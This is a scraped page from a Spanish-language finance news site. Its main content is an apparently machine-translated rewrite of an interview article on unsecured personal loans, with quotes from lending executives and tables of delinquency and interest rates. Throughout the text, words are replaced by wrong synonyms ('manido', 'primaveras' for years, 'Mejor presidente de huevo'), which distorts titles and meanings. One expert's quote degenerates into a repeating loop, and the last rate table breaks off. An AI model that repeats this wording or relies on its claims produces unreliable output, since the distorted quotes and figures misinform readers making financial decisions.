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<style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:table}@media (max-width:767px){.tdi_17,.tdi_17 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:none}@media (min-width:768px){.tdi_17{margin-left:-0px;margin-right:-0px}.tdi_17 .tdc-row-video-background-error,.tdi_17>.vc_column,.tdi_17>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}@media (max-width:767px){.tdi_17{padding-top:5px!important;padding-bottom:5px!important;position:relative}}</style>
<div class="tdi_16_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_16_rand_style{background-color:#00456e!important}}</style></div><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Wednesday, September 16, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
<style>.tdb_module_header{width:100%;padding-bottom:0}.tdb_module_header .td-module-container{display:flex;flex-direction:column;position:relative}.tdb_module_header .td-module-container:before{content:'';position:absolute;bottom:0;left:0;width:100%;height:1px}.tdb_module_header .td-image-wrap{display:block;position:relative;padding-bottom:70%}.tdb_module_header .td-image-container{position:relative;width:100%;flex:0 0 auto}.tdb_module_header .td-module-thumb{margin-bottom:0}.tdb_module_header .td-module-meta-info{width:100%;margin-bottom:0;padding:7px 0 0 0;z-index:1;border:0 solid #eaeaea;min-height:0}.tdb_module_header .entry-title{margin:0;font-size:13px;font-weight:500;line-height:18px}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date,.tdb_module_header .td-module-comments{vertical-align:text-top}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date{top:3px}.tdb_module_header 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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Veinticinco millones de estadounidenses tienen un préstamo personal no resguardado, el doble del número de hace una lapso, dice el vicepresidente senior de Transunion, Josh Turnbull.</p>
<p>&#8220;Por lo tanto, el préstamo personal no resguardado es cada vez más una aparejo poderosa en la variedad de productos financieros disponibles y utilizados por los consumidores &#8230; hacia lo alto y debajo del espectro de crédito&#8221;, dice Turnbull.</p>
<p>La pregunta es: si está buscando pedir prestado uno durante estos tiempos económicos inciertos, ¿qué debe asimilar?</p>
<p>Le preguntamos a cinco expertos de la industria, incluidos el principal de inteligencia de préstamos de Turnbull y JD Power, Bruce Gehrke, así como tres ejecutivos de los prestamistas: Alliant Credit Unidion of Products Sean Briscoe, el mejor presidente de Egg Bobby Ritterbeck y el principal de productos de USAA de USAA Scott Serpico.</p>
<p><i>Estas entrevistas han sido editadas por distancia y claridad.</i></p>
<h2 id="impact">¿El entorno financiero revoloteado que afecta a los solicitantes de préstamos personales?</h2>
<p>Se está librando una conflicto comercial en múltiples frentes (¿o es así? Pregunta al poder procesal estadounidense). La tasa de inflación permanece tercamente por encima del objetivo del 2 por ciento. Incluso la Reserva Federal parece reticente para pronosticar. Y en varios momentos, la rasgo de tendencia irregular del mercado de títulos se ha parecido al preceptor de signos vitales de un paciente con el hospital de contacto y marcha.</p>
<p>Entonces, ¿qué significa todo eso para aquellos de nosotros que compramos para un préstamo personal?</p>
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<p><strong>Ritterbeck: </strong>&#8220;Cuando miras este año hasta ahora, ha sido mucho sobre el ruido en torno a los aranceles y lo que eso podría causar. Todavía estamos en las primeras etapas de eso &#8230; lo que definitivamente se ha hecho es causar mucha incertidumbre para los consumidores. Otra cosa, desde el punto de pinta de la prescripción, eso no es ideal. Tan pronto como los consumidores no sean inciertos, no tienen confianza, eso puede padecer a algunos resultados de crédito negativos&#8221;.</p>
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<figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="300" height="300" src="https://www.bankrate.com/brp/2025/06/17184021/Artboard-1-copy.png" alt="Jefe de inteligencia de préstamos de JD Power, Bruce Gehrke" class="wp-image-1127063 size-full" srcset="https://www.bankrate.com/brp/2025/06/17184021/Artboard-1-copy.png 300w, https://www.bankrate.com/brp/2025/06/17184021/Artboard-1-copy-150x150.png 150w" sizes="auto, (max-width: 300px) 100vw, 300px"></figure>
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<p><strong>Gehrke: </strong>&#8220;Una de las cosas para las que se usan los préstamos personales, cuando preguntamos sobre la motivación (de los prestatarios), son las grandes compras, ya sean electrodomésticos u otras grandes compras en el hogar. Y definitivamente hay esto en otros estudios de consumidores, una preferencia para retrasar grandes compras, una especie de posición de retraso y pinta&#8221;.</p>
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<figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="300" height="300" src="https://www.bankrate.com/brp/2025/06/17184117/Artboard-1-copy-4.png" alt="Alliant Credit Union Director de productos Sean Briscoe" class="wp-image-1127064 size-full" srcset="https://www.bankrate.com/brp/2025/06/17184117/Artboard-1-copy-4.png 300w, https://www.bankrate.com/brp/2025/06/17184117/Artboard-1-copy-4-150x150.png 150w" sizes="auto, (max-width: 300px) 100vw, 300px"></figure>
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<p><strong>Briscoe: </strong>&#8220;Otra cosa que estamos viendo de los consumidores es prepararse para lo inesperado, donde están tratando de consolidar la deuda, pensando en lo que sucede si la inflación continúa creciendo y cuándo (su flujo de efectivo) se vuelve cada vez más preciso mensualmente. Entonces, eso definitivamente ha sido un cambio que hemos manido durante el postrer año más o menos&#8221;.</p>
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<h2 id="criteria" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Loans, Personal Loans" data-position="h2_second_placement" data-name="h2_second_placement" data-text="Personal loans in uncertain times" data-outcome="">¿Los prestamistas imponen criterios de elegibilidad más rígidos en estos días?</h2>
<p>De alguna modo, los prestamistas de préstamos personales se comportan como los consumidores más aislados. Se enfrentan a la incertidumbre, pero en superficie de tomar decisiones drásticas, están monitoreando la capital y la planificación de múltiples escenarios.</p>
<p>Como consumidor y prestatario de préstamo personal potencial, podría tener en cuenta que de modo similar tomar una visión a derrochador plazo. Aún así, si no está admisiblemente eventual (tal vez su economía de emergencia necesita reponer o sus ingresos están en dominio inestable), sería bueno asimilar si los préstamos de préstamos personales serán una opción.</p>
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<figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="300" height="300" src="https://www.bankrate.com/brp/2025/06/17183813/Artboard-1.png" alt="Mejor presidente de huevo Bobby Ritterbeck" class="wp-image-1127060 size-full" srcset="https://www.bankrate.com/brp/2025/06/17183813/Artboard-1.png 300w, https://www.bankrate.com/brp/2025/06/17183813/Artboard-1-150x150.png 150w" sizes="auto, (max-width: 300px) 100vw, 300px"></figure>
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<p><strong>Ritterbeck: </strong>&#8220;Cuando la inflación estaba en su apogeo (en 2022), viste mucho endurecimiento de los cinturones (entre los prestamistas). A medida que la inflación se ha controlado, has manido un poco de aflojamiento del costado del solicitante. Y no creo que este ruido nuevo (más o menos de los aranceles) haya hecho una diferencia material aún en cambiar ese ritmo coetáneo&#8221;.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-pagar-por-la-universidad-10-opciones-a-considerar" target="_self" rel="dofollow" class="u063a3b1a94537c3a31a604563f962a35"><!-- INLINE RELATED POSTS 1/3 //--><style> .u063a3b1a94537c3a31a604563f962a35 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u063a3b1a94537c3a31a604563f962a35:active, .u063a3b1a94537c3a31a604563f962a35:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u063a3b1a94537c3a31a604563f962a35 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u063a3b1a94537c3a31a604563f962a35 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u063a3b1a94537c3a31a604563f962a35 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u063a3b1a94537c3a31a604563f962a35:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo pagar por la universidad: 10 opciones a considerar</span></div></a></div></div>
</div>
<div class="wp-block-media-text is-stacked-on-mobile" style="grid-template-columns:25% auto">
<figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="300" height="300" src="https://www.bankrate.com/brp/2025/06/17184422/Artboard-1-copy-2.png" alt="Vicepresidente senior de Transunion Josh Turnbull" class="wp-image-1127066 size-full" srcset="https://www.bankrate.com/brp/2025/06/17184422/Artboard-1-copy-2.png 300w, https://www.bankrate.com/brp/2025/06/17184422/Artboard-1-copy-2-150x150.png 150w" sizes="auto, (max-width: 300px) 100vw, 300px"></figure>
<div class="wp-block-media-text__content">
<p><strong>Turnbull: </strong>&#8220;El trimestre más nuevo para el cual tenemos datos de origen (el primer trimestre de 2025), los préstamos personales superan más del 25% en términos de origen. Por lo tanto, ahora hay muchos más préstamos que hace un año. Y la distribución de a quién van esos préstamos no está cambiado. Por lo tanto, ya hemos manido a los prestamistas que se sienten mucho más seguros&#8221;.</p>
</div>
</div>
<div class="wp-block-media-text is-stacked-on-mobile" style="grid-template-columns:25% auto">
<figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="300" height="300" src="https://www.bankrate.com/brp/2025/06/17184510/Artboard-1-copy-3.png" alt="Jefe de producto de USAA Scott Serpico" class="wp-image-1127067 size-full" srcset="https://www.bankrate.com/brp/2025/06/17184510/Artboard-1-copy-3.png 300w, https://www.bankrate.com/brp/2025/06/17184510/Artboard-1-copy-3-150x150.png 150w" sizes="auto, (max-width: 300px) 100vw, 300px"></figure>
<div class="wp-block-media-text__content">
<p><strong>Serpico: </strong>&#8220;Posteriormente de poseer estado haciendo esto durante 26 primaveras, creo que es sobrado frecuente ver a los prestamistas hacer ajustes sutiles como parte de la buena higiene de administrar su texto &#8230; Hemos manido que se desarrollan a través de todos los ciclos económicos. Todavía no estoy viendo carencia trascendental en (el) mercado de opinar que hay movimientos drásticos por parte de cualquier prestamista particular que estén holgando o tensando&#8221;.</p>
</div>
</div>
<div class="wp-block-media-text is-stacked-on-mobile" style="grid-template-columns:25% auto">
<figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="300" height="300" src="https://www.bankrate.com/brp/2025/06/17184021/Artboard-1-copy.png" alt="Jefe de inteligencia de préstamos de JD Power, Bruce Gehrke" class="wp-image-1127063 size-full" srcset="https://www.bankrate.com/brp/2025/06/17184021/Artboard-1-copy.png 300w, https://www.bankrate.com/brp/2025/06/17184021/Artboard-1-copy-150x150.png 150w" sizes="auto, (max-width: 300px) 100vw, 300px"></figure>
<div class="wp-block-media-text__content">
<p><strong>Gehrke: </strong>&#8220;Son las delincuencias (si aumentan) las que afectarán la papeleo de riesgos entre los prestamistas. Por lo tanto, puede ver algunos retrocesos en los tipos de préstamos que están haciendo &#8230; Hemos manido que los fintech se extienden esa sobre. (Hay) algunos sistemas propietarios que están por ahí que están tratando de identificar la solvencia de la solvencia a través de otros medios, lejos de que los puntajes de crédito puramente consideren que las puntuaciones de crédito y han expandido (para) algunos grupos de consumidores. Usted puede ver algunos contratos a los que vemos algunas contrataciones a los que vemos algunas contraciones a los que vemos algunas contraciones a los que vemos algunas contraciones a los que vemos algunas contraciones a los que vemos algunas contraciones.</p>
</div>
</div>
<h3>Porcentaje de prestatarios de préstamos personales no garantizados delincuentes</h3>
<div class="w-full overflow-x-auto">
<table class="wp-block-table wrapped">
<thead>
<tr>
<th></th>
<th class="has-text-align-left" data-align="left">
<p><strong>30 días tarde</strong></p>
</th>
<th class="has-text-align-left" data-align="left">
<p><strong>60 días tarde</strong></p>
</th>
<th class="has-text-align-left" data-align="left">
<p><strong>90 días tarde</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><strong>Q1 2025</strong></p>
</td>
<td class="has-text-align-left" data-align="left">5.3%</td>
<td class="has-text-align-left" data-align="left">3.5%</td>
<td class="has-text-align-left" data-align="left">2.3%</td>
</tr>
<tr>
<td>
<p><strong>Q1 2024</strong></p>
</td>
<td class="has-text-align-left" data-align="left">
<p>5.4%</p>
</td>
<td class="has-text-align-left" data-align="left">
<p>3.8%</p>
</td>
<td class="has-text-align-left" data-align="left">
<p>2.5%</p>
</td>
</tr>
</tbody>
<tfoot>
<tr>
<td>
<strong>Fuente</strong>: <i>Transunión</i>
</td>
<td class="has-text-align-left" data-align="left"></td>
<td class="has-text-align-left" data-align="left"></td>
<td class="has-text-align-left" data-align="left"></td>
</tr>
</tfoot>
</table>
</div>
<h2 id="rates">¿Cuándo disminuirán las tasas de interés del préstamo personal?</h2>
<p>Si tiene una deuda con polímero de crédito con un APR promedio de más o menos del 20 por ciento, refinanciándolo a un préstamo personal con, por ejemplo, una tasa del 12 por ciento podría parecer una obviedad. ¿Por qué esperar? Y si las tasas descienden, podría retornar a refinanciar.</p>
<p>Pero para préstamos más discrecionales, es posible que desee monitorear el sótano anunciado de los prestamistas APRS. De hecho, casi 7 de cada 10 consumidores que están considerando un préstamo personal ya han investigado las tasas, según una indagación de April Santander.</p>
<p>&#8220;A medida que las guerras comerciales han aumentado y esa incertidumbre ha crecido, esa rasgo de tiempo de las tarifas que disminuyen se ha empujado y fuera y en torno a exterior hasta el punto de que verdaderamente no está claro si lo harán y hasta qué punto&#8221;, dice Briscoe de Alliant Credit Union. &#8220;Y así, cuando trabajamos con nuestros miembros, generalmente lo que diremos es: &#8216;Comience con lo que le importa a usted y a su situación financiera, porque a veces podría estar esperando una disminución de la tasa que nunca llegue'&#8221;.</p>
<div class="w-full overflow-x-auto">
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-obtener-un-prestamo-para-automovil-con-mal-credito" target="_self" rel="dofollow" class="u66690d7643d8570a092a86565ebebffd"><!-- INLINE RELATED POSTS 2/3 //--><style> .u66690d7643d8570a092a86565ebebffd { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u66690d7643d8570a092a86565ebebffd:active, .u66690d7643d8570a092a86565ebebffd:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u66690d7643d8570a092a86565ebebffd { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u66690d7643d8570a092a86565ebebffd .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u66690d7643d8570a092a86565ebebffd .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u66690d7643d8570a092a86565ebebffd:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo obtener un préstamo para automóvil con mal crédito</span></div></a></div><table class="wp-block-table wrapped">
<thead>
<tr>
<th></th>
<th class="has-text-align-left" data-align="left"><strong>Tasa de interés promedio en un préstamo personal de dos primaveras</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>2025 (Q1)</strong></td>
<td class="has-text-align-left" data-align="left">11.66%</td>
</tr>
<tr>
<td><strong>2024</strong></td>
<td class="has-text-align-left" data-align="left">12.27%</td>
</tr>
<tr>
<td><strong>2023</strong></td>
<td class="has-text-align-left" data-align="left">11.87%</td>
</tr>
<tr>
<td><strong>2022</strong></td>
<td class="has-text-align-left" data-align="left">9.87%</td>
</tr>
<tr>
<td><strong>2021</strong></td>
<td class="has-text-align-left" data-align="left">9.38%</td>
</tr>
<tr>
<td><strong>2020</strong></td>
<td class="has-text-align-left" data-align="left">9.51%</td>
</tr>
</tbody>
<tfoot>
<tr>
<td>
